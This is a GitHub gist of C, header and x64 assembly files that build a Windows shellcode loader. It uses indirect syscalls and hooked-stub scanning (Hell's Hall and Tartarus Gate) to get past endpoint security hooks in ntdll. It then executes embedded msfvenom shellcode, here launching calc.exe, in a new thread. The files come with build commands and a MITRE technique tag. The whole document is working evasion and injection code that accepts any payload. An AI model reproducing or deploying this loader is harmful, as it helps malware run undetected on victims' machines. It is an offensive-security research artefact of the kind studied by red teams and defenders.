Created
July 8, 2024 04:21
-
-
Save wizardy0ga/f28d78ad4de6d0d736c1d9e35fb031be to your computer and use it in GitHub Desktop.
Local shellcode execution using a combination of hells hall (Indirect syscalls) and tartarus gate (SSN retrieval) techniques.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "hellshall.h" | |
unsigned int CRC32(char* string) { | |
int i, | |
crc; | |
unsigned int byte, c; | |
const unsigned int g0 = SEED, | |
g1 = g0 >> 1, | |
g2 = g0 >> 2, | |
g3 = g0 >> 3, | |
g4 = g0 >> 4, | |
g5 = g0 >> 5, | |
g6 = (g0 >> 6) ^ g0, | |
g7 = ((g0 >> 6) ^ g0) >> 1; | |
i = 0; | |
crc = 0xFFFFFFFF; | |
while ((byte = string[i]) != 0) { | |
crc = crc ^ byte; | |
c = ((crc << 31 >> 31) & g7) ^ ((crc << 30 >> 31) & g6) ^ | |
((crc << 29 >> 31) & g5) ^ ((crc << 28 >> 31) & g4) ^ | |
((crc << 27 >> 31) & g3) ^ ((crc << 26 >> 31) & g2) ^ | |
((crc << 25 >> 31) & g1) ^ ((crc << 24 >> 31) & g0); | |
crc = ((unsigned)crc >> 8) ^ c; | |
i = i + 1; | |
} | |
return ~crc; | |
} | |
BOOL InitConfiguration(PNTDLL_CONFIG pConfig) { | |
PLDR_DATA_TABLE_ENTRY pEntry = NULL; | |
PIMAGE_DOS_HEADER pDos = NULL; | |
PIMAGE_NT_HEADERS pNt = NULL; | |
PIMAGE_EXPORT_DIRECTORY pExports = NULL; | |
CHAR ModNameLower[MAX_PATH] = { 0 }; | |
ULONG_PTR ModuleBase = 0; | |
int string_size = 0, | |
offset = 0; | |
CHAR c = 0; | |
PPEB pPeb = (PPEB)__readgsqword(0x60); | |
/* Get the base address of ntdll */ | |
for (pEntry = (PLDR_DATA_TABLE_ENTRY)pPeb->Ldr->InLoadOrderModuleList.Flink; pEntry->DllBase != NULL; pEntry = (PLDR_DATA_TABLE_ENTRY)pEntry->InLoadOrderLinks.Flink) { | |
if (pEntry->BaseDllName.Buffer) { | |
string_size = lstrlenW(pEntry->BaseDllName.Buffer); | |
if (string_size <= MAX_PATH) { | |
for (c = 0; c < string_size; c++) { ModNameLower[c] = tolower((CHAR)(pEntry->BaseDllName.Buffer[c])); } | |
ModNameLower[c++] = '\0'; | |
if (CRC32(ModNameLower) == 0xFFFFC51B) { | |
dbg_print("Found %S at 0x%p", pEntry->BaseDllName.Buffer, pEntry->DllBase); | |
ModuleBase = (ULONG_PTR)pEntry->DllBase; | |
break; | |
} | |
} | |
} | |
} | |
if (!ModuleBase) { dbg_print("Could not locate ntdll in peb."); return FALSE; } | |
/* Get the export directory */ | |
pDos = (PIMAGE_DOS_HEADER)ModuleBase; | |
if (pDos->e_magic != IMAGE_DOS_SIGNATURE) { dbg_print("dos header signature mismatch"); return FALSE; } | |
pNt = (PIMAGE_NT_HEADERS)((PBYTE)ModuleBase + pDos->e_lfanew); | |
if (pNt->Signature != IMAGE_NT_SIGNATURE) { dbg_print("nt header signature mismatch"); return FALSE; } | |
pExports = (PIMAGE_EXPORT_DIRECTORY)(ModuleBase + pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); | |
if (!pExports) { dbg_print("Could not locate export directory"); return FALSE; } | |
/* Add Function names, ordinals & addresses to config structure */ | |
pConfig->BaseOfModule = ModuleBase; | |
pConfig->NumberOfNames = pExports->NumberOfNames; | |
pConfig->Names = (PDWORD)(ModuleBase + pExports->AddressOfNames); | |
pConfig->Addresses = (PDWORD)(ModuleBase + pExports->AddressOfFunctions); | |
pConfig->Ordinals = (PWORD)(ModuleBase + pExports->AddressOfNameOrdinals); | |
if (!pConfig->Addresses || | |
!pConfig->BaseOfModule || | |
!pConfig->Names || | |
!pConfig->Ordinals || | |
!pConfig->NumberOfNames) { | |
dbg_print("One or more config structure members is null."); return FALSE; | |
} | |
dbg_print("Successfully initialized ntdll config structure"); | |
return TRUE; | |
} | |
BOOL GetSyscall(DWORD Hash, PNT_SYSCALL pSyscall, PNTDLL_CONFIG pConfig) { | |
PCHAR Name = 0; | |
PVOID Address = NULL; | |
ULONG_PTR SyscallOpCodeAddr = NULL; | |
WORD CurrentIndex = 0; | |
BYTE OpCode = 0, | |
High = 0, | |
Low = 0; | |
/* Init the config if it's null */ | |
if (!pConfig) { | |
if (!InitConfiguration(pConfig)) { | |
return FALSE; | |
} | |
} | |
/* Add hash to syscall structure */ | |
if (Hash) { | |
pSyscall->Hash = Hash; | |
} | |
else { | |
return FALSE; | |
} | |
/* Search for the hash in the dll export functions */ | |
for (size_t i = 0; i < pConfig->NumberOfNames; i++) { | |
Name = (PCHAR)(pConfig->BaseOfModule + pConfig->Names[i]); | |
Address = (PVOID)(pConfig->BaseOfModule + pConfig->Addresses[pConfig->Ordinals[i]]); | |
if (CRC32(Name) == Hash) { | |
dbg_print("Found %s at 0x%p with hash 0x%0.8X", Name, Address, Hash); | |
pSyscall->Address = Address; | |
/* Check if opcodes are loading ssn into eax.Store ssn in syscall structure. */ | |
if (*((PBYTE)Address) == 0x4C && | |
*((PBYTE)Address + 1) == 0x8B && | |
*((PBYTE)Address + 2) == 0xD1 && | |
*((PBYTE)Address + 3) == 0xB8 && | |
*((PBYTE)Address + 6) == 0x00 && | |
*((PBYTE)Address + 7) == 0x00) { | |
dbg_print("Syscall is not hooked."); | |
High = *((PBYTE)Address + 5); | |
Low = *((PBYTE)Address + 4); | |
pSyscall->SSN = (High << 8) | Low; | |
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN); | |
break; | |
} | |
/* If syscall is hooked, begin searching upper & lower syscalls */ | |
if (*((PBYTE)Address) == 0xE9) { | |
dbg_print("Syscall is hooked, scenario 1."); | |
for (WORD idx = 1; idx <= 255; idx++) { | |
/* Search down in syscalls */ | |
if (*((PBYTE)Address + idx * 32) == 0x4C && | |
search_down(Address, 1, idx) == 0x8B && | |
search_down(Address, 2, idx) == 0xD1 && | |
search_down(Address, 3, idx) == 0xB8 && | |
search_down(Address, 6, idx) == 0x00 && | |
search_down(Address, 7, idx) == 0x00 | |
) { | |
High = search_down(Address, 5, idx); | |
Low = search_down(Address, 4, idx); | |
pSyscall->SSN = (High << 8) | Low - idx; | |
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN); | |
break; | |
} | |
/* search up in syscalls */ | |
if (*((PBYTE)Address + idx * -32) == 0x4C && | |
search_up(Address, 1, idx) == 0x8B && | |
search_up(Address, 2, idx) == 0xD1 && | |
search_up(Address, 3, idx) == 0xB8 && | |
search_up(Address, 6, idx) == 0x00 && | |
search_up(Address, 7, idx) == 0x00 | |
) { | |
High = search_up(Address, 5, idx); | |
Low = search_up(Address, 4, idx); | |
pSyscall->SSN = (High << 8) | Low + idx; | |
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN); | |
break; | |
} | |
} | |
} | |
/* Second scenario for syscall being hooked */ | |
if (*((PBYTE)Address + 3) == 0xE9) { | |
dbg_print("Syscall is hooked, scenario 2."); | |
for (WORD idx = 1; idx <= 255; idx++) { | |
/* Search down in syscalls */ | |
if (*((PBYTE)Address + idx * 32) == 0x4C && | |
search_down(Address, 1, idx) == 0x8B && | |
search_down(Address, 2, idx) == 0xD1 && | |
search_down(Address, 3, idx) == 0xB8 && | |
search_down(Address, 6, idx) == 0x00 && | |
search_down(Address, 7, idx) == 0x00 | |
) { | |
High = search_down(Address, 5, idx); | |
Low = search_down(Address, 4, idx); | |
pSyscall->SSN = (High << 8) | Low - idx; | |
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN); | |
break; | |
} | |
/* search up in syscalls */ | |
if (*((PBYTE)Address + idx * -32) == 0x4C && | |
search_up(Address, 1, idx) == 0x8B && | |
search_up(Address, 2, idx) == 0xD1 && | |
search_up(Address, 3, idx) == 0xB8 && | |
search_up(Address, 6, idx) == 0x00 && | |
search_up(Address, 7, idx) == 0x00 | |
) { | |
High = search_up(Address, 5, idx); | |
Low = search_up(Address, 4, idx); | |
pSyscall->SSN = (High << 8) | Low + idx; | |
dbg_print("Found ssn for %s: 0x%0.2X", Name, pSyscall->SSN); | |
break; | |
} | |
} | |
} | |
break; | |
} | |
} | |
if (!pSyscall->Address) { | |
dbg_print("Failed to locate function address."); return FALSE; | |
} | |
/* Jump ahead of function address by offset of 200 - 300 bytes */ | |
srand((unsigned int)time(NULL)); | |
SyscallOpCodeAddr = (ULONG_PTR)pSyscall->Address + (rand() % (300 - 200 + 1 + 200)); | |
// Locate the address of another syscall opcode | |
for (DWORD Index = 0; Index <= 0xFF; Index++) { | |
if (*((PBYTE)SyscallOpCodeAddr + Index) == 0x0F && *((PBYTE)SyscallOpCodeAddr + Index + 1) == 0x05) { | |
pSyscall->SyscallOpCodeAddress = ((ULONG_PTR)SyscallOpCodeAddr + Index); | |
dbg_print("Located syscall instruction in ntdll .text at 0x%p", pSyscall->SyscallOpCodeAddress); | |
break; | |
} | |
} | |
/* Make sure all components exist */ | |
if (!pSyscall->SSN || !pSyscall->Address || !pSyscall->Hash || !pSyscall->SyscallOpCodeAddress) { | |
return FALSE; | |
} | |
return TRUE; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#pragma once | |
#include <windows.h> | |
#include <stdio.h> | |
#include <time.h> | |
/* debug printing */ | |
#ifdef DEBUG | |
#define dbg_print(msg, ...) printf("[DEBUG] " msg "\n", ##__VA_ARGS__) | |
#define nt_error(msg, ...) printf("[ERROR] " msg "\n", ##__VA_ARGS__); return -1; | |
#else | |
#define dbg_print(msg, ...) do {} while (0) | |
#define nt_error(msg, ...) do {} while (0); return -1; | |
#endif | |
/* Syscalls */ | |
#define print(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__) | |
#define calc_offset(byte, offset) *((PBYTE)byte + offset) | |
#define search_down(byte, index, offset) *((PBYTE)byte + index + offset * 32) | |
#define search_up(byte, index, offset) *((PBYTE)byte + index + offset * -32) | |
#define get_ssn(hash, psyscall, pconfig) \ | |
if (!GetSyscall(hash, psyscall, pconfig)) { \ | |
dbg_print("Could not locate syscall."); return FALSE;\ | |
} \ | |
#define prepare_syscall(syscall) PrepSyscall((DWORD)syscall.SSN, (PVOID)syscall.SyscallOpCodeAddress) | |
/* Function hashes */ | |
#define SEED 8721 | |
#define NtAllocateVirtualMemory_Hash 0xFFFFD7EC | |
#define NtProtectVirtualMemory_Hash 0xFFFFD05C | |
#define NtCreateThreadEx_Hash 0xFFFFD084 | |
#define NtWaitForSingleObject_Hash 0xFFFFDF8A | |
#define NtWriteVirtualMemory_Hash 0xFFFFCB07 | |
/* Structs */ | |
typedef struct _PEB_LDR_DATA | |
{ | |
ULONG Length; | |
BOOLEAN Initialized; | |
HANDLE SsHandle; | |
LIST_ENTRY InLoadOrderModuleList; | |
} PEB_LDR_DATA, * PPEB_LDR_DATA; | |
typedef struct _UNICODE_STRING | |
{ | |
USHORT Length; | |
USHORT MaximumLength; | |
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer; | |
} UNICODE_STRING, * PUNICODE_STRING; | |
typedef BOOLEAN(NTAPI* PLDR_INIT_ROUTINE)( | |
_In_ PVOID DllHandle, | |
_In_ ULONG Reason, | |
_In_opt_ PVOID Context | |
); | |
typedef struct _LDR_DATA_TABLE_ENTRY { | |
LIST_ENTRY InLoadOrderLinks; | |
LIST_ENTRY InMemoryOrderLinks; | |
LIST_ENTRY InInitializationOrderLinks; | |
PVOID DllBase; | |
PLDR_INIT_ROUTINE EntryPoint; | |
ULONG SizeOfImage; | |
UNICODE_STRING FullDllName; | |
UNICODE_STRING BaseDllName; | |
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; | |
typedef struct _PEB | |
{ | |
BYTE Reserved1[2]; | |
BYTE BeingDebugged; | |
BYTE Reserved2[1]; | |
PVOID Reserved3[2]; | |
PPEB_LDR_DATA Ldr; | |
} PEB, * PPEB; | |
typedef struct _NTDLL_CONFIG { | |
PDWORD Addresses; | |
PDWORD Names; | |
PWORD Ordinals; | |
DWORD NumberOfNames; | |
ULONG_PTR BaseOfModule; | |
} NTDLL_CONFIG, * PNTDLL_CONFIG; | |
typedef struct _NT_SYSCALL { | |
DWORD SSN; | |
DWORD Hash; | |
PVOID Address; | |
PVOID SyscallOpCodeAddress; | |
} NT_SYSCALL, * PNT_SYSCALL; | |
typedef struct _SYSCALLS { | |
NT_SYSCALL NtAllocateVirtualMemory; | |
NT_SYSCALL NtWriteVirtualMemory; | |
NT_SYSCALL NtProtectVirtualMemory; | |
NT_SYSCALL NtCreateThreadEx; | |
NT_SYSCALL NtWaitForSingleObject; | |
} SYSCALLS, * PSYSCALLS; | |
/* Prototypes */ | |
unsigned int CRC32(char* string); | |
BOOL InitConfiguration(PNTDLL_CONFIG pConfig); | |
BOOL GetSyscall(DWORD Hash, PNT_SYSCALL pSyscall, PNTDLL_CONFIG pConfig); | |
/* External functions */ | |
extern VOID PrepSyscall(DWORD SSN, PVOID SyscallOpCodeAddr); | |
extern RunSyscall(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.data | |
SSN DWORD 0h | |
SyscallOpCodeAddr QWORD 0h | |
.code | |
PrepSyscall PROC | |
xor eax, eax ; eax = 0 | |
mov SSN, eax ; SSN = 0 | |
mov SyscallOpCodeAddr, rax ; SyscallOpCodeAddr = 0 | |
mov eax, ecx ; eax = ssn | |
mov SSN, eax ; SSN = eax = ssn | |
mov r8, rdx ; r8 = Address of the syscall op code 0x0F05 | |
mov SyscallOpCodeAddr, r8 ; SyscallOpCodeAddr = Address of the syscall opcode 0x0F05 | |
ret | |
PrepSyscall ENDP | |
RunSyscall PROC | |
xor r10, r10 ; r10 = 0 | |
mov rax, rcx ; rax = rcx | |
mov r10, rax ; r10 = rax = rcx | |
mov eax, SSN ; eax = SSN | |
jmp Run ; Execute the syscall | |
xor eax, eax ; Junk code | |
xor rcx, rcx ; Junk code | |
shl r10, 2 ; Junk code | |
Run: | |
jmp qword ptr [SyscallOpCodeAddr] ; Jump to the syscall instruction in ntdll. | |
xor r10, r10 ; r10 = 0 | |
mov SyscallOpCodeAddr, r10 ; SyscallOpCodeAddr = 0 | |
ret | |
RunSyscall ENDP | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Author: | |
wizardy0ga | |
Date: | |
July 2024 | |
Arch: | |
x64 | |
Tested on: | |
Windows 10 19045.4529 | |
Compiler: | |
MSVC | |
Compile Instructions: | |
ML64 /c hellshall.x64.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 | |
cl.exe hellshall.c main.c | |
link.exe /OUT:HellsHall.exe -nologo libvcruntime.lib libcmt.lib ucrt.lib kernel32.lib /MACHINE:X64 -subsystem:console -nodefaultlib hellshall.x64.obj hellshall.obj main.obj | |
Mitre: | |
Execution: | |
T1106 - Native API | |
Description: | |
Local shellcode execution using a combination of hells hall (Indirect syscalls) and tartarus gate (SSN retrieval) techniques. | |
Shellcode is executed by new thread pointed at shellcode in buffer. | |
Reference: | |
https://github.com/trickster0/TartarusGate | |
https://github.com/Maldev-Academy/HellHall | |
*/ | |
#include "hellshall.h" | |
/* Calc.exe - msfvenom -p windows/x64/exec CMD=calc.exe exitfunc=thread */ | |
CHAR shellcode[] = { 0xfc,0x48,0x83,0xe4,0xf0,0xe8, | |
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48, | |
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, | |
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a, | |
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c, | |
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41, | |
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b, | |
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, | |
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0, | |
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, | |
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, | |
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, | |
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, | |
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0, | |
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e, | |
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20, | |
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, | |
0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, | |
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba, | |
0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41, | |
0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c, | |
0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72, | |
0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, | |
0x63,0x2e,0x65,0x78,0x65,0x00 }; | |
int main() { | |
NTSTATUS Status = 0; | |
HANDLE hThread = NULL; | |
DWORD OldProtection = 0; | |
SIZE_T BytesWritten = 0; | |
PVOID pShellcode = NULL; | |
SIZE_T ShellcodeSize = sizeof(shellcode); | |
NTDLL_CONFIG NtConfig = { 0 }; | |
SYSCALLS Syscalls = { 0 }; | |
printf("[+] Press enter to begin\n"); getchar(); | |
/* Get NTDLL base address & functions */ | |
if (!InitConfiguration(&NtConfig)) { | |
return -1; | |
} | |
/* Populate syscall structures with SSN for syscall */ | |
get_ssn(NtAllocateVirtualMemory_Hash, &Syscalls.NtAllocateVirtualMemory, &NtConfig); | |
get_ssn(NtProtectVirtualMemory_Hash, &Syscalls.NtProtectVirtualMemory, &NtConfig); | |
get_ssn(NtWriteVirtualMemory_Hash, &Syscalls.NtWriteVirtualMemory, &NtConfig); | |
get_ssn(NtCreateThreadEx_Hash, &Syscalls.NtCreateThreadEx, &NtConfig); | |
get_ssn(NtWaitForSingleObject_Hash, &Syscalls.NtWaitForSingleObject, &NtConfig); | |
/* Allocate buffer for shellcode */ | |
prepare_syscall(Syscalls.NtAllocateVirtualMemory); | |
Status = RunSyscall((HANDLE)-1, &pShellcode, 0, &ShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
if (Status != 0x0 || pShellcode == NULL) { | |
nt_error("Failed to allocate memory for shellcode. Error: 0x%0.8X", Status); | |
} | |
print("Allocated %lld byte buffer at 0x%p", ShellcodeSize, pShellcode); | |
/* Copy shellcode into buffer */ | |
prepare_syscall(Syscalls.NtWriteVirtualMemory); | |
Status = RunSyscall((HANDLE)-1, pShellcode, shellcode, ShellcodeSize, &BytesWritten); | |
if (Status != 0x0 || ShellcodeSize != BytesWritten) { | |
dbg_print("Failed to write shellcode to 0x%p. Error: 0x%0.8X\n", pShellcode, Status); | |
if (ShellcodeSize != BytesWritten) { | |
nt_error("Bytes written does not match expected amount. Written: %lld. Expected %lld.", BytesWritten, ShellcodeSize); | |
} | |
return -1; | |
} | |
print("Wrote %lld bytes to buffer at 0x%p", BytesWritten, pShellcode); | |
/* Set buffer memory perms to RX */ | |
prepare_syscall(Syscalls.NtProtectVirtualMemory); | |
Status = RunSyscall((HANDLE)-1, &pShellcode, &ShellcodeSize, PAGE_EXECUTE_READ, &OldProtection); | |
if (Status != 0x0) { | |
nt_error("Failed to set memory protections. Error: 0x%0.8X", Status); | |
} | |
print("Set memory protection to RX"); | |
/* Execute payload (calc.exe) */ | |
prepare_syscall(Syscalls.NtCreateThreadEx); | |
Status = RunSyscall(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pShellcode, NULL, FALSE, NULL, NULL, NULL, NULL); | |
if (Status != 0x0) { | |
nt_error("Failed to create thread. Error: 0x%0.8X", Status); | |
} | |
print("Executing payload in new thread! ID: %d", GetThreadId(hThread)); | |
/* Wait for thread */ | |
prepare_syscall(Syscalls.NtWaitForSingleObject); | |
Status = RunSyscall(hThread, FALSE, NULL); | |
if (Status != 0x0) { | |
nt_error("NtWaitForSingleObject failed with error: 0x%0.8X", Status); | |
} | |
printf("[+] Press enter to quit\n"); getchar(); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment